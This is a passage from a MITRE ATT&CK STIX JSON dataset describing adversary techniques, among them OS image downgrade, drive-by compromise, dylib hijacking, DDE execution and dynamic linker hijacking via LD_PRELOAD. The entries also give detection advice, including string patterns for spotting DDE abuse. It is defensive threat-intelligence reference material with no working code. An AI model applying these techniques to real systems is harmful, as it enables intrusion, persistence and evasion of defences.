            "description": "Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  ",
            "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-10-22T17:49:02.660Z",
            "created": "2020-10-19T19:53:10.576Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Many embedded network devices provide a command to print the version of the currently running operating system.  Use this command to query the operating system for its version number and compare it to what is expected for the device in question.  Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ",
            "x_mitre_data_sources": [
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Network"
            ]
        },
        {
            "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Drive-by Compromise",
            "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n    * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n    * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1189",
                    "url": "https://attack.mitre.org/techniques/T1189"
                },
                {
                    "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/",
                    "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.",
                    "source_name": "Shadowserver Strategic Web Compromise"
                },
                {
                    "source_name": "Volexity OceanLotus Nov 2017",
                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2020-03-29T23:48:15.056Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_contributors": [
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "SaaS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1608.004",
                    "url": "https://attack.mitre.org/techniques/T1608/004"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."
                },
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "source_name": "ATT ScanBox",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Drive-by Target",
            "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
            "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-27T17:52:55.302Z",
            "created": "2021-03-17T20:33:20.127Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1157",
                    "url": "https://attack.mitre.org/techniques/T1157"
                },
                {
                    "external_id": "CAPEC-471",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/471.html"
                },
                {
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "source_name": "Writing Bad Malware for OSX"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                }
            ],
            "name": "Dylib Hijacking",
            "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2021-03-30T00:51:57.919Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
            "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
            "name": "Dylib Hijacking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.004",
                    "url": "https://attack.mitre.org/techniques/T1574/004"
                },
                {
                    "external_id": "CAPEC-471",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/471.html"
                },
                {
                    "source_name": "Wardle Dylib Hijack Vulnerable Apps",
                    "url": "https://objective-see.com/blog/blog_0x46.html",
                    "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021."
                },
                {
                    "source_name": "Wardle Dylib Hijacking OSX 2015",
                    "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf",
                    "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Github EmpireProject HijackScanner",
                    "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py",
                    "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021."
                },
                {
                    "source_name": "Github EmpireProject CreateHijacker Dylib",
                    "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py",
                    "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021."
                },
                {
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "source_name": "Writing Bad Malware for OSX"
                },
                {
                    "source_name": "wardle artofmalware volume1",
                    "url": "https://taomm.org/vol1/pdfs.html",
                    "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."
                },
                {
                    "source_name": "MalwareUnicorn macOS Dylib Injection MachO",
                    "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5",
                    "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Apple Developer Doco Archive Run-Path",
                    "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html",
                    "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-27T20:19:15.212Z",
            "created": "2020-03-16T15:23:30.896Z",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Module: Module Load"
            ],
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>, and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the <code>otool -l</code> command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "2.0",
            "x_mitre_defense_bypassed": [
                "Application control"
            ]
        },
        {
            "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
            "name": "Dynamic Data Exchange",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1173",
                    "url": "https://attack.mitre.org/techniques/T1173"
                },
                {
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"
                },
                {
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "source_name": "Microsoft ADV170021 Dec 2017"
                },
                {
                    "url": "https://technet.microsoft.com/library/security/4053440",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "source_name": "Microsoft DDE Advisory Nov 2017"
                },
                {
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "source_name": "SensePost PS DDE May 2016"
                },
                {
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "source_name": "Kettle CSV DDE Aug 2014"
                },
                {
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "source_name": "Enigma Reviving DDE Jan 2018"
                },
                {
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "source_name": "SensePost MacroLess DDE Oct 2017"
                },
                {
                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
                    "source_name": "NVisio Labs DDE Detection Oct 2017"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-09T13:00:18.698Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created": "2020-02-12T14:10:50.699Z",
            "modified": "2020-03-28T19:32:56.572Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).",
            "name": "Dynamic Data Exchange",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1559.002",
                    "url": "https://attack.mitre.org/techniques/T1559/002"
                },
                {
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"
                },
                {
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "source_name": "Microsoft ADV170021 Dec 2017"
                },
                {
                    "url": "https://technet.microsoft.com/library/security/4053440",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "source_name": "Microsoft DDE Advisory Nov 2017"
                },
                {
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "source_name": "SensePost PS DDE May 2016"
                },
                {
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "source_name": "Kettle CSV DDE Aug 2014"
                },
                {
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "source_name": "Enigma Reviving DDE Jan 2018"
                },
                {
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "source_name": "SensePost MacroLess DDE Oct 2017"
                },
                {
                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
                    "source_name": "NVisio Labs DDE Detection Oct 2017"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Process: Process Creation",
                "Script: Script Execution"
            ]
        },
        {
            "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
            "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the <code>export</code> command, <code>setenv</code> function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s <code>os.environ</code>.\n\nOn Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. <code>LD_PRELOAD</code> can be set via the environment variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code> respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ",
            "name": "Dynamic Linker Hijacking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.006",
                    "url": "https://attack.mitre.org/techniques/T1574/006"
                },
                {
                    "external_id": "CAPEC-13",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/13.html"
                },
                {
                    "external_id": "CAPEC-640",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/640.html"
                },
                {
                    "source_name": "Man LD.SO",
                    "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html",
                    "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020."
                },
                {
                    "source_name": "TLDP Shared Libraries",
                    "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html",
                    "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020."
                },
                {
                    "source_name": "Apple Doco Archive Dynamic Libraries",
                    "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html",
                    "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021."
                },
                {
                    "source_name": "Baeldung LD_PRELOAD",
                    "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is",
                    "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021."
                },
                {
                    "source_name": "Code Injection on Linux and macOS",
                    "url": "https://www.datawire.io/code-injection-on-linux-and-macos/",
                    "description": "Itamar Turner-Trauring. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017."
                },
                {
                    "url": "http://hick.org/code/skape/papers/needle.txt",
                    "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
                    "source_name": "Uninformed Needle"
                },
                {
                    "url": "http://phrack.org/issues/51/8.html",
                    "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.",
                    "source_name": "Phrack halfdead 1997"
                },
                {
                    "source_name": "Brown Exploiting Linkers",
                    "url": "http://www.nth-dimension.org.uk/pub/BTL.pdf",
                    "description": "Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021."
                },
                {
                    "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
                    "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/",
                    "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020."
                },
                {
                    "source_name": "Timac DYLD_INSERT_LIBRARIES",
                    "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/",
                    "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020."
                },
                {
                    "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
                    "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191",
                    "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-27T19:55:18.453Z",
            "created": "2020-03-13T20:09:59.569Z",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Module: Module Load",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
